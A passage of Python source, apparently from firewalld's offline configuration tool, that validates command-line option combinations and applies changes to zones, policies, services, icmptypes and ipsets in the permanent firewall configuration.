options_icmptype = a.add_destination or a.remove_destination or \
                   a.query_destination or a.get_destinations or \
                   options_desc_xml_file

options_service = a.add_port or a.remove_port or a.query_port or \
                  a.get_ports or \
                  a.add_protocol or a.remove_protocol or a.query_protocol or \
                  a.get_protocols or \
                  a.add_source_port or a.remove_source_port or \
                  a.query_source_port or a.get_source_ports or \
                  a.add_module or a.remove_module or a.query_module or \
                  a.get_modules or \
                  a.set_destination or a.remove_destination or \
                  a.query_destination or a.get_destinations or \
                  options_desc_xml_file or \
                  a.add_include or a.remove_include or a.query_include or \
                  a.get_includes or \
                  a.add_helper or a.remove_helper or a.query_helper or \
                  a.get_service_helpers

options_helper = a.add_port or a.remove_port or a.query_port or \
                  a.get_ports or a.set_module or a.get_module or \
                  a.set_family or a.get_family or \
                  options_desc_xml_file

options_permanent = options_config or options_zone or options_policy or \
                    a.new_icmptype or a.delete_icmptype or \
                    a.new_icmptype_from_file or \
                    a.load_icmptype_defaults or \
                    a.new_service or a.delete_service or \
                    a.new_service_from_file or \
                    a.load_service_defaults or \
                    a.new_zone or a.delete_zone or \
                    a.new_zone_from_file or \
                    a.load_zone_defaults or \
                    a.new_policy or a.delete_policy or \
                    a.new_policy_from_file or \
                    a.load_policy_defaults or \
                    a.new_helper or a.delete_helper or \
                    a.new_helper_from_file or \
                    a.load_helper_defaults or \
                    a.new_ipset or a.delete_ipset or \
                    a.new_ipset_from_file or \
                    a.load_ipset_defaults or \
                    a.ipset or options_ipset or \
                    (a.icmptype and options_icmptype) or \
                    (a.service and options_service) or \
                    (a.helper and options_helper) or \
                    a.path_zone or a.path_icmptype or a.path_service or \
                    a.path_ipset or a.path_helper or a.path_policy

options_direct = \
           a.add_chain or a.remove_chain or a.query_chain or \
           a.get_chains or a.get_all_chains or \
           a.add_rule or a.remove_rule or a.remove_rules or a.query_rule or \
           a.get_rules or a.get_all_rules or \
           a.add_passthrough or a.remove_passthrough or a.query_passthrough or \
           a.get_passthroughs or a.get_all_passthroughs

# these are supposed to only write out some output
options_list_get = a.help or a.version or a.list_all or a.list_all_zones or \
    a.list_lockdown_whitelist_commands or a.list_lockdown_whitelist_contexts or \
    a.list_lockdown_whitelist_uids or a.list_lockdown_whitelist_users or \
    a.list_services or a.list_ports or a.list_protocols or a.list_icmp_blocks or \
    a.list_forward_ports or a.list_rich_rules or a.list_interfaces or \
    a.list_sources or a.get_default_zone or \
    a.get_zone_of_interface or a.get_zone_of_source or a.get_zones or \
    a.get_services or a.get_icmptypes or a.get_target or \
    a.info_zone or a.info_icmptype or a.info_service or \
    a.info_ipset or a.get_ipsets or a.get_entries or \
    a.info_helper or a.get_helpers or \
    a.get_destinations or a.get_description or \
    a.list_all_policies or a.info_policy or a.get_policies

# Set quiet and verbose

cmd.set_quiet(a.quiet)
cmd.set_verbose(a.verbose)

# Check various impossible combinations of options

if not (options_standalone or options_ipset or \
        options_lokkit or \
        options_icmptype or options_service or options_helper or \
        options_permanent or options_direct or options_desc_xml_file or \
        a.check_config):
    cmd.fail(parser.format_usage() + &quot;No option specified.&quot;)

if options_lokkit and (options_standalone or \
                       options_permanent or options_direct) and \
                       not (options_service and a.service):
    cmd.fail(parser.format_usage() +
             &quot;Can&#039;t use lokkit options with other options.&quot;)

if options_standalone and (options_permanent or \
                           options_direct or options_ipset):
    cmd.fail(parser.format_usage() +
             &quot;Can&#039;t use stand-alone options with other options.&quot;)

if options_ipset and not options_desc_xml_file and not a.ipset:
    cmd.fail(parser.format_usage() + &quot;No ipset specified.&quot;)

if (options_icmptype and not a.icmptype) and \
   not (options_service and a.service) and not options_desc_xml_file:
    cmd.fail(parser.format_usage() + &quot;No icmptype specified.&quot;)

if options_service and a.service and len(a.service) &gt; 0:
    if len(a.service) &gt; 1:
        cmd.fail(parser.format_usage() + &quot;More than one service specified.&quot;)
    # use the first entry in the array only
    a.service = a.service[0]

if (options_helper and not a.helper) and \
   not (options_service and a.service) and \
   not options_zone and not options_desc_xml_file and \
   not options_policy:
    cmd.fail(parser.format_usage() + &quot;No helper specified.&quot;)

if options_direct and (options_zone or options_policy):
    cmd.fail(parser.format_usage() +
             &quot;Can&#039;t use &#039;direct&#039; options with other options.&quot;)

if (a.direct and not options_direct) or (options_direct and not a.direct):
    cmd.fail(parser.format_usage() +
             &quot;Wrong usage of &#039;direct&#039; options.&quot;)

if a.name and not (a.new_zone_from_file or a.new_service_from_file or \
                   a.new_ipset_from_file or a.new_icmptype_from_file or \
                   a.new_helper_from_file or a.new_policy_from_file):
    cmd.fail(parser.format_usage() + &quot;Wrong usage of &#039;--name&#039; option.&quot;)

if options_config and (options_zone or options_policy):
    cmd.fail(parser.format_usage() +
             &quot;Wrong usage of --get-zones | --get-services | --get-icmptypes | --get-policies.&quot;)

if a.quiet and options_list_get:
    # it makes no sense to use --quiet with these options
    a.quiet = False
    cmd.set_quiet(a.quiet)
    cmd.fail(&quot;-q/--quiet can&#039;t be used with this option(s)&quot;)

if a.zone and a.policy:
    cmd.fail(parser.format_usage() + &quot;Can&#039;t use --zone with --policy.&quot;)

if a.policy and options_zone_unique:
    cmd.fail(parser.format_usage() + &quot;Can&#039;t use --policy with zone only options.&quot;)

if a.zone and options_policy_unique:
    cmd.fail(parser.format_usage() + &quot;Can&#039;t use --zone with policy only options.&quot;)

if not a.policy and options_policy_unique:
    cmd.fail(parser.format_usage() + &quot;Must use --policy with policy only options.&quot;)

if a.help:
    __usage()
    sys.exit(0)

assert_root()

if a.system_config:
    config.set_system_config_paths(a.system_config)
if a.default_config:
    config.set_default_config_paths(a.default_config)
if a.check_config:
    try:
        fw = Firewall(offline=True)
        fw.start()
        check_on_disk_config(fw)
    except FirewallError as error:
        cmd.print_and_exit(&quot;Configuration error: %s&quot; % error, error.code)
    except Exception as msg:
        cmd.fail(&quot;Configuration error: %s&quot; % msg)
    sys.exit(0)

zone = a.zone
fw = Firewall(offline=True)
fw.start()

try:
    # Lokkit Compatibility Options
    if options_lokkit and not (options_service and a.service):
        trusted_zone = &quot;trusted&quot;
        default_zone = fw.get_default_zone()
        fw_zone = fw.config.get_zone(default_zone)
        fw_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_zone))

        if a.enabled:
            # Enable firewall (default)
            os.system(&quot;systemctl enable firewalld.service&quot;)
        if a.disabled:
            # Disable firewall
            os.system(&quot;systemctl disable firewalld.service&quot;)
        if a.addmodule:
            for m in a.addmodule:
                cmd.print_msg(&quot;Ignoring addmodule &#039;%s&#039;&quot; % m)
        if a.removemodule:
            for m in a.removemodule:
                cmd.print_msg(&quot;Ignoring removemodule &#039;%s&#039;&quot; % m)
        if a.custom_rules:
            for c in a.custom_rules:
                cmd.print_msg(&quot;Ignoring custom-rule &#039;%s&#039;&quot; % c)
        if a.service:
            for s in a.service:
                cmd.print_msg(&quot;Adding service &#039;%s&#039; to default zone.&quot; % s)
                if not fw_settings.queryService(s):
                    fw_settings.addService(s)
                else:
                    cmd.print_msg(&quot;ALREADY_ENABLED: %s&quot; % s)
        if a.remove_service:
            for s in a.remove_service:
                cmd.print_msg(&quot;Removing service &#039;%s&#039; from default zone.&quot; % s)
                if fw_settings.queryService(s):
                    fw_settings.removeService(s)
                else:
                    cmd.print_msg(&quot;NOT_ENABLED: %s&quot; % s)
        if a.port:
            for port_proto in a.port:
                (port, proto) = parse_port_lokkit(port_proto)
                cmd.print_msg(&quot;Adding port &#039;%s/%s&#039; to default zone.&quot; % (port, proto))
                if not fw_settings.queryPort(port, proto):
                    fw_settings.addPort(port, proto)
                else:
                    cmd.print_msg(&quot;ALREADY_ENABLED: %s&quot; % port_proto)
        if a.trust:
            if default_zone != trusted_zone:
                fw_trusted = fw.config.get_zone(&quot;trusted&quot;)
                fw_trusted_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_trusted))
                # Bind an interface to the trusted zone
                for i in a.trust:
                    cmd.print_msg(&quot;Interface &#039;%s&#039; will be bound to zone &#039;%s&#039;.&quot; % \
                            (i, trusted_zone))
                    if not fw_trusted_settings.queryInterface(i):
                        fw_trusted_settings.addInterface(i)
                    else:
                        cmd.print_msg(&quot;ALREADY_ENABLED: %s&quot; % i)
                fw.config.set_zone_config_dict(fw_trusted, fw_trusted_settings.getSettingsDict())
            else:
                for i in a.trust:
                    cmd.print_msg(&quot;Interface &#039;%s&#039; will be bound to zone &#039;%s&#039;.&quot; % \
                            (i, trusted_zone))
                    if not fw_settings.queryInterface(i):
                        fw_settings.addInterface(i)
                    else:
                        cmd.print_msg(&quot;ALREADY_ENABLED: %s&quot; % i)
        if a.masq:
            # Enables masquerading in the default zone, interface argument is ignored
            cmd.print_msg(&quot;Enabling masquerade for the default zone.&quot;)
            fw_settings.setMasquerade(True)
        if a.forward_port:
            for fp in a.forward_port:
                (port, protocol, toport, toaddr) = cmd.parse_forward_port(
                    fp, compat=True)
                cmd.print_msg(&quot;Adding forward port %s:%s:%s:%s to default zone.&quot; % \
                      (port, protocol, toport, toaddr))
                if not fw_settings.queryForwardPort(port, protocol, toport,
                                                    toaddr):
                    fw_settings.addForwardPort(port, protocol, toport, toaddr)
                else:
                    cmd.print_msg(&quot;ALREADY_ENABLED: %s&quot; % fp)
        if a.block_icmp:
            for ib in a.block_icmp:
                cmd.print_msg(&quot;Adding icmpblock &#039;%s&#039; to default zone.&quot; % ib)
                if not fw_settings.queryIcmpBlock(ib):
                    fw_settings.addIcmpBlock(ib)
                else:
                    cmd.print_msg(&quot;ALREADY_ENABLED: %s&quot; % ib)

        fw.config.set_zone_config_dict(fw_zone, fw_settings.getSettingsDict())

    elif a.version:
        cmd.print_and_exit(config.VERSION)

    elif a.get_log_denied:
        cmd.print_and_exit(fw.get_log_denied())
    elif a.set_log_denied:
        fw.set_log_denied(a.set_log_denied)

    elif a.get_automatic_helpers:
        cmd.print_and_exit(fw.get_automatic_helpers())
    elif a.set_automatic_helpers:
        fw.set_automatic_helpers(a.set_automatic_helpers)

    elif a.policy_server:
        pk_symlink(&#039;server&#039;)
    elif a.policy_desktop:
        pk_symlink(&#039;desktop&#039;)

    # options from firewall-cmd
    elif a.get_default_zone:
        cmd.print_and_exit(fw.get_default_zone())
    elif a.set_default_zone:
        fw.set_default_zone(a.set_default_zone)

    # lockdown
    elif a.lockdown_on:
        fw.enable_lockdown()
    elif a.lockdown_off:
        fw.disable_lockdown()
    elif a.query_lockdown:
        cmd.print_query_result(fw.policies.query_lockdown())

    # reset defaults
    elif a.reset_to_defaults:
        fw.config.reset_defaults()

    # zones
    elif a.get_zones:
        zones = fw.config.get_zones()
        cmd.print_and_exit(&quot; &quot;.join(zones))

    elif a.new_zone:
        fw.config.new_zone_dict(a.new_zone, FirewallClientZoneSettings().getSettingsDict())

    elif a.new_zone_from_file:
        filename = os.path.basename(a.new_zone_from_file)
        dirname = os.path.dirname(a.new_zone_from_file)
        if dirname == &quot;&quot;:
            dirname = &quot;./&quot;
        try:
            obj = zone_reader(filename, dirname)
        except FirewallError as msg:
            cmd.print_and_exit(&quot;Failed to load zone file &#039;%s&#039;: %s&quot; % \
                               (a.new_zone_from_file, msg), msg.code)
        except IOError as msg:
            cmd.fail(&quot;Failed to load zone file: %s&quot; % msg)

        if a.name:
            obj.name = a.name

        fw.config.new_zone(obj.name, obj.export_config())

    elif a.delete_zone:
        obj = fw.config.get_zone(a.delete_zone)
        fw.config.remove_zone(obj)

    elif a.load_zone_defaults:
        obj = fw.config.get_zone(a.load_zone_defaults)
        fw.config.load_zone_defaults(obj)

    elif a.info_zone:
        zone = fw.config.get_zone(a.info_zone)
        settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(zone))
        cmd.print_zone_info(a.info_zone, settings, True)
        sys.exit(0)

    elif a.path_zone:
        obj = fw.config.get_zone(a.path_zone)
        cmd.print_and_exit(&quot;%s/%s&quot; % (obj.path, obj.filename))

    # policies
    elif a.get_policies:
        policies = fw.config.get_policy_objects()
        cmd.print_and_exit(&quot; &quot;.join(policies))

    elif a.new_policy:
        fw.config.new_policy_object_dict(a.new_policy, FirewallClientPolicySettings().getSettingsDict())

    elif a.new_policy_from_file:
        filename = os.path.basename(a.new_policy_from_file)
        dirname = os.path.dirname(a.new_policy_from_file)
        if dirname == &quot;&quot;:
            dirname = &quot;./&quot;
        try:
            obj = policy_reader(filename, dirname)
        except FirewallError as msg:
            cmd.print_and_exit(&quot;Failed to load policy file &#039;%s&#039;: %s&quot; % \
                               (a.new_policy_from_file, msg), msg.code)
        except IOError as msg:
            cmd.fail(&quot;Failed to load policy file: %s&quot; % msg)

        if a.name:
            obj.name = a.name

        fw.config.new_policy_object_dict(obj.name, obj.export_config_dict())

    elif a.delete_policy:
        obj = fw.config.get_policy_object(a.delete_policy)
        fw.config.remove_policy_object(obj)

    elif a.load_policy_defaults:
        obj = fw.config.get_policy_object(a.load_policy_defaults)
        fw.config.load_policy_object_defaults(obj)

    elif a.info_policy:
        policy = fw.config.get_policy_object(a.info_policy)
        settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(policy))
        cmd.print_policy_info(a.info_policy, settings, True)
        sys.exit(0)

    elif a.path_policy:
        obj = fw.config.get_policy_object(a.path_policy)
        cmd.print_and_exit(&quot;%s/%s&quot; % (obj.path, obj.filename))

    # services
    elif a.get_services:
        services = fw.config.get_services()
        cmd.print_and_exit(&quot; &quot;.join(services))

    elif a.new_service:
        fw.config.new_service_dict(a.new_service,
                        FirewallClientServiceSettings().getSettingsDict())

    elif a.new_service_from_file:
        filename = os.path.basename(a.new_service_from_file)
        dirname = os.path.dirname(a.new_service_from_file)
        if dirname == &quot;&quot;:
            dirname = &quot;./&quot;
        try:
            obj = service_reader(filename, dirname)
        except FirewallError as msg:
            cmd.print_and_exit(&quot;Failed to load service file &#039;%s&#039;: %s&quot; % \
                               (a.new_service_from_file, msg), msg.code)
        except IOError as msg:
            cmd.fail(&quot;Failed to load service file: %s&quot; % msg)

        if a.name:
            obj.name = a.name

        fw.config.new_service_dict(obj.name, obj.export_config_dict())

    elif a.delete_service:
        obj = fw.config.get_service(a.delete_service)
        fw.config.remove_service(obj)

        # remove service from all zones
        zones = fw.config.get_zones()
        for zone in zones:
            _zone = fw.config.get_zone(zone)
            _settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(_zone))
            if _settings.queryService(a.delete_service):
                _settings.removeService(a.delete_service)
                fw.config.set_zone_config_dict(_zone, _settings.getSettingsDict())

        # remove service from all policies
        for policy in fw.config.get_policy_objects():
            _policy = fw.config.get_policy_object(policy)
            _settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(_policy))
            if _settings.queryService(a.delete_service):
                _settings.removeService(a.delete_service)
                fw.config.set_policy_object_config_dict(_policy, _settings.getSettingsDict())

    elif a.load_service_defaults:
        obj = fw.config.get_service(a.load_service_defaults)
        fw.config.load_service_defaults(obj)

    elif a.info_service:
        service = fw.config.get_service(a.info_service)
        settings = FirewallClientServiceSettings(
                        fw.config.get_service_config_dict(service))
        cmd.print_service_info(a.info_service, settings)
        sys.exit(0)

    elif a.path_service:
        obj = fw.config.get_service(a.path_service)
        cmd.print_and_exit(&quot;%s/%s&quot; % (obj.path, obj.filename))

    # icmptypes
    elif a.get_icmptypes:
        icmptypes = fw.config.get_icmptypes()
        cmd.print_and_exit(&quot; &quot;.join(icmptypes))

    elif a.new_icmptype:
        fw.config.new_icmptype(a.new_icmptype,
                               FirewallClientIcmpTypeSettings().settings)

    elif a.new_icmptype_from_file:
        filename = os.path.basename(a.new_icmptype_from_file)
        dirname = os.path.dirname(a.new_icmptype_from_file)
        if dirname == &quot;&quot;:
            dirname = &quot;./&quot;
        try:
            obj = icmptype_reader(filename, dirname)
        except FirewallError as msg:
            cmd.print_and_exit(&quot;Failed to load icmptype file &#039;%s&#039;: %s&quot; % \
                               (a.new_icmptype_from_file, msg), msg.code)
        except IOError as msg:
            cmd.fail(&quot;Failed to load icmptype file: %s&quot; % msg)

        if a.name:
            obj.name = a.name

        fw.config.new_icmptype(obj.name, obj.export_config())

    elif a.delete_icmptype:
        obj = fw.config.get_icmptype(a.delete_icmptype)
        fw.config.remove_icmptype(obj)

        # remove icmpyte from all zones
        zones = fw.config.get_zones()
        for zone in zones:
            _zone = fw.config.get_zone(zone)
            _settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(_zone))
            if _settings.queryIcmpBlock(a.delete_icmptype):
                _settings.removeIcmpBlock(a.delete_icmptype)
                fw.config.set_zone_config_dict(_zone, _settings.getSettingsDict())

        for policy in fw.config.get_policy_objects():
            _policy = fw.config.get_policy_object(policy)
            _settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(_policy))
            if _settings.queryIcmpBlock(a.delete_icmptype):
                _settings.removeIcmpBlock(a.delete_icmptype)
                fw.config.set_policy_object_config_dict(_policy, _settings.getSettingsDict())

    elif a.load_icmptype_defaults:
        obj = fw.config.get_icmptype(a.load_icmptype_defaults)
        fw.config.load_icmptype_defaults(obj)

    elif a.info_icmptype:
        icmptype = fw.config.get_icmptype(a.info_icmptype)
        settings = FirewallClientIcmpTypeSettings(
            list(fw.config.get_icmptype_config(icmptype)))

        cmd.print_icmptype_info(a.info_icmptype, settings)
        sys.exit(0)

    elif a.path_icmptype:
        obj = fw.config.get_icmptype(a.path_icmptype)
        cmd.print_and_exit(&quot;%s/%s&quot; % (obj.path, obj.filename))

    elif a.icmptype and options_icmptype:
        icmptype = fw.config.get_icmptype(a.icmptype)
        settings = FirewallClientIcmpTypeSettings(
            list(fw.config.get_icmptype_config(icmptype)))

        if a.add_destination:
            cmd.add_sequence(a.add_destination, settings.addDestination,
                             settings.queryDestination,
                             cmd.check_destination_ipv, &quot;&#039;%s&#039;&quot;)
            fw.config.set_icmptype_config(icmptype, settings.settings)

        elif a.remove_destination:
            cmd.remove_sequence(a.remove_destination,
                                settings.removeDestination,
                                settings.queryDestination,
                                cmd.check_destination_ipv, &quot;&#039;%s&#039;&quot;)
            fw.config.set_icmptype_config(icmptype, settings.settings)

        elif a.query_destination:
            cmd.query_sequence(a.query_destination, settings.queryDestination,
                               cmd.check_destination_ipv , &quot;&#039;%s&#039;&quot;)

        elif a.get_destinations:
            l = settings.getDestinations()
            if len(l) == 0:
                l = [ &quot;ipv4&quot;, &quot;ipv6&quot; ]
            cmd.print_and_exit(&quot;\n&quot;.join(l))

        elif a.set_description:
            settings.setDescription(a.set_description)
            fw.config.set_icmptype_config(icmptype, settings.settings)

        elif a.get_description:
            cmd.print_and_exit(settings.getDescription())

        elif a.set_short:
            settings.setShort(a.set_short)
            fw.config.set_icmptype_config(icmptype, settings.settings)

        elif a.get_short:
            cmd.print_and_exit(settings.getShort())

        else:
            cmd.fail(parser.format_usage() + &quot;Unknown option&quot;)

        cmd.print_and_exit(&quot;success&quot;)

    elif a.service and options_service:
        service = fw.config.get_service(a.service)
        settings = FirewallClientServiceSettings(
                        fw.config.get_service_config_dict(service))

        if a.add_port:
            cmd.add_sequence(a.add_port, settings.addPort,
                             settings.queryPort, cmd.parse_port, &quot;%s/%s&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.remove_port:
            cmd.remove_sequence(a.remove_port, settings.removePort,
                                settings.queryPort, cmd.parse_port, &quot;%s/%s&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.query_port:
            cmd.query_sequence(a.query_port, settings.queryPort,
                               cmd.parse_port, &quot;%s/%s&quot;)

        elif a.get_ports:
            l = settings.getPorts()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s/%s&quot; % (port[0], port[1]) for port in l]))

        elif a.add_protocol:
            cmd.add_sequence(a.add_protocol, settings.addProtocol,
                             settings.queryProtocol, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.remove_protocol:
            cmd.remove_sequence(a.remove_protocol, settings.removeProtocol,
                                settings.queryProtocol, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.query_protocol:
            cmd.query_sequence(a.query_protocol, settings.queryProtocol,
                               None, &quot;&#039;%s&#039;&quot;)

        elif a.get_protocols:
            l = settings.getProtocols()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s&quot; % protocol for protocol in l]))

        elif a.add_source_port:
            cmd.add_sequence(a.add_source_port, settings.addSourcePort,
                             settings.querySourcePort, cmd.parse_port, &quot;%s/%s&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.remove_source_port:
            cmd.remove_sequence(a.remove_source_port, settings.removeSourcePort,
                                settings.querySourcePort, cmd.parse_port,
                                &quot;%s/%s&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.query_source_port:
            cmd.query_sequence(a.query_source_port, settings.querySourcePort,
                               cmd.parse_port, &quot;%s/%s&quot;)

        elif a.get_source_ports:
            l = settings.getSourcePorts()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s/%s&quot; % (port[0], port[1]) for port in l]))

        elif a.add_module:
            cmd.add_sequence(a.add_module, settings.addModule,
                             settings.queryModule, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.remove_module:
            cmd.remove_sequence(a.remove_module, settings.removeModule,
                                settings.queryModule, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.query_module:
            cmd.query_sequence(a.query_module, settings.queryModule,
                               None, &quot;&#039;%s&#039;&quot;)

        elif a.get_modules:
            l = settings.getModules()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s&quot; % module for module in l]))

        elif a.set_destination:
            cmd.add_sequence(a.set_destination, settings.setDestination,
                             settings.queryDestination,
                             cmd.parse_service_destination, &quot;%s:%s&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.remove_destination:
            # special case for removeDestination: Only ipv, no address
            for ipv in a.remove_destination:
                cmd.check_destination_ipv(ipv)
                if ipv not in settings.getDestinations():
                    if len(a.remove_destination) &gt; 1:
                        cmd.print_warning(&quot;Warning: NOT_ENABLED: &#039;%s&#039;&quot; % ipv)
                    else:
                        code = FirewallError.get_code(&quot;NOT_ENABLED&quot;)
                        cmd.print_and_exit(&quot;Error: NOT_ENABLED: &#039;%s&#039;&quot; % ipv,
                                           code)
                else:
                    settings.removeDestination(ipv)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.query_destination:
            cmd.query_sequence(a.query_destination, settings.queryDestination,
                               cmd.parse_service_destination, &quot;&#039;%s&#039;&quot;)

        elif a.get_destinations:
            l = settings.getDestinations()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s:%s&quot; % (dest[0], dest[1]) for dest in l.items()]))

        elif a.add_include:
            cmd.add_sequence(a.add_include, settings.addInclude,
                             settings.queryInclude, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.remove_include:
            cmd.remove_sequence(a.remove_include, settings.removeInclude,
                                settings.queryInclude, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.query_include:
            cmd.query_sequence(a.query_include, settings.queryInclude,
                               None, &quot;&#039;%s&#039;&quot;)

        elif a.get_includes:
            l = settings.getIncludes()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s&quot; % include for include in sorted(l)]))

        elif a.add_helper:
            cmd.add_sequence(a.add_helper, settings.addHelper,
                             settings.queryHelper, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.remove_helper:
            cmd.remove_sequence(a.remove_helper, settings.removeHelper,
                                settings.queryHelper, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.query_helper:
            cmd.query_sequence(a.query_helper, settings.queryHelper,
                               None, &quot;&#039;%s&#039;&quot;)

        elif a.get_service_helpers:
            l = settings.getHelpers()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s&quot; % helper for helper in sorted(l)]))

        elif a.set_description:
            settings.setDescription(a.set_description)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.get_description:
            cmd.print_and_exit(settings.getDescription())

        elif a.set_short:
            settings.setShort(a.set_short)
            fw.config.set_service_config_dict(service, settings.getSettingsDict())

        elif a.get_short:
            cmd.print_and_exit(settings.getShort())

        else:
            cmd.fail(parser.format_usage() + &quot;Unknown option&quot;)

        cmd.print_and_exit(&quot;success&quot;)

    # ipsets
    if a.get_ipsets:
        ipsets = fw.config.get_ipsets()
        cmd.print_and_exit(&quot; &quot;.join(sorted(ipsets)))

    elif a.new_ipset:
        if not a.type:
            cmd.fail(parser.format_usage() + &quot;No type specified.&quot;)

        if a.type==&#039;hash:mac&#039; and a.family:
            cmd.fail(parser.format_usage() + &quot;--family is not compatible with the hash:mac type&quot;)

        settings = FirewallClientIPSetSettings()
        settings.setType(a.type)
        if a.option:
            for opt in a.option:
                settings.addOption(*cmd.parse_ipset_option(opt))
        fw.config.new_ipset(a.new_ipset, settings.settings)

    elif a.new_ipset_from_file:
        filename = os.path.basename(a.new_ipset_from_file)
        dirname = os.path.dirname(a.new_ipset_from_file)
        if dirname == &quot;&quot;:
            dirname = &quot;./&quot;
        try:
            obj = ipset_reader(filename, dirname)
        except FirewallError as msg:
            cmd.print_and_exit(&quot;Failed to load ipset file &#039;%s&#039;: %s&quot; % \
                               (a.new_ipset_from_file, msg), msg.code)
        except IOError as msg:
            cmd.fail(&quot;Failed to load ipset file: %s&quot; % msg)

        if a.name:
            obj.name = a.name

        fw.config.new_ipset(obj.name, obj.export_config())

    elif a.delete_ipset:
        ipset = fw.config.get_ipset(a.delete_ipset)
        fw.config.remove_ipset(ipset)

    elif a.load_ipset_defaults:
        obj = fw.config.get_ipset(a.load_ipset_defaults)
        fw.config.load_ipset_defaults(obj)

    elif a.info_ipset:
        ipset = fw.config.get_ipset(a.info_ipset)
        settings = FirewallClientIPSetSettings(
            list(fw.config.get_ipset_config(ipset)))
        cmd.print_ipset_info(a.info_ipset, settings)
        sys.exit(0)

    elif a.path_ipset:
        obj = fw.config.get_ipset(a.path_ipset)
        cmd.print_and_exit(&quot;%s/%s&quot; % (obj.path, obj.filename))

    elif a.ipset:
        if a.add_entry:
            ipset = fw.config.get_ipset(a.ipset)
            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))
            cmd.add_sequence(a.add_entry, settings.addEntry,
                             settings.queryEntry, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_ipset_config(ipset, settings.settings)

        elif a.remove_entry:
            ipset = fw.config.get_ipset(a.ipset)
            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))
            cmd.remove_sequence(a.remove_entry, settings.removeEntry,
                                settings.queryEntry, None, &quot;&#039;%s&#039;&quot;)
            fw.config.set_ipset_config(ipset, settings.settings)

        elif a.query_entry:
            ipset = fw.config.get_ipset(a.ipset)
            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))
            cmd.query_sequence(a.query_entry, settings.queryEntry, None, &quot;&#039;%s&#039;&quot;)

        elif a.get_entries:
            ipset = fw.config.get_ipset(a.ipset)
            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))
            l = settings.getEntries()
            cmd.print_and_exit(&quot;\n&quot;.join(l))

        elif a.add_entries_from_file:
            ipset = fw.config.get_ipset(a.ipset)
            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))
            changed = False

            for filename in a.add_entries_from_file:
                try:
                    entries = cmd.get_ipset_entries_from_file(filename)
                except IOError as msg:
                    message = &quot;Failed to read file &#039;%s&#039;: %s&quot; % (filename,
                                                                msg)
                    if len(a.add_entries_from_file) &gt; 1:
                        cmd.print_warning(message)
                    else:
                        cmd.print_and_exit(message)
                else:
                    old_entries = settings.getEntries()
                    entries_set = set()
                    for entry in old_entries:
                        entries_set.add(entry)
                    for entry in entries:
                        if entry not in entries_set:
                            old_entries.append(entry)
                            entries_set.add(entry)
                            changed = True
                        else:
                            cmd.print_if_verbose(
                                &quot;Warning: ALREADY_ENABLED: %s&quot; % entry)
                    if changed:
                        settings.setEntries(old_entries)
            if changed:
                fw.config.set_ipset_config(ipset, settings.settings)

        elif a.remove_entries_from_file:
            ipset = fw.config.get_ipset(a.ipset)
            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))
            changed = False

            for filename in a.remove_entries_from_file:
                try:
                    entries = cmd.get_ipset_entries_from_file(filename)
                except IOError as msg:
                    message = &quot;Failed to read file &#039;%s&#039;: %s&quot; % (filename, msg)
                    if len(a.remove_entries_from_file) &gt; 1:
                        cmd.print_warning(message)
                    else:
                        cmd.print_and_exit(message)
                else:
                    old_entries = settings.getEntries()
                    entries_set = set()
                    for entry in old_entries:
                        entries_set.add(entry)
                    for entry in entries:
                        if entry in entries_set:
                            old_entries.remove(entry)
                            entries_set.discard(entry)
                            changed = True
                        else:
                            cmd.print_if_verbose(&quot;Warning: NOT_ENABLED: %s&quot; % \
                                                 entry)
                    if changed:
                        settings.setEntries(old_entries)
            if changed:
                fw.config.set_ipset_config(ipset, settings.settings)

        elif a.set_description:
            ipset = fw.config.get_ipset(a.ipset)
            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))
            settings.setDescription(a.set_description)

            fw.config.set_ipset_config(ipset, settings.settings)

        elif a.get_description:
            ipset = fw.config.get_ipset(a.ipset)
            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))

            cmd.print_and_exit(settings.getDescription())

        elif a.set_short:
            ipset = fw.config.get_ipset(a.ipset)
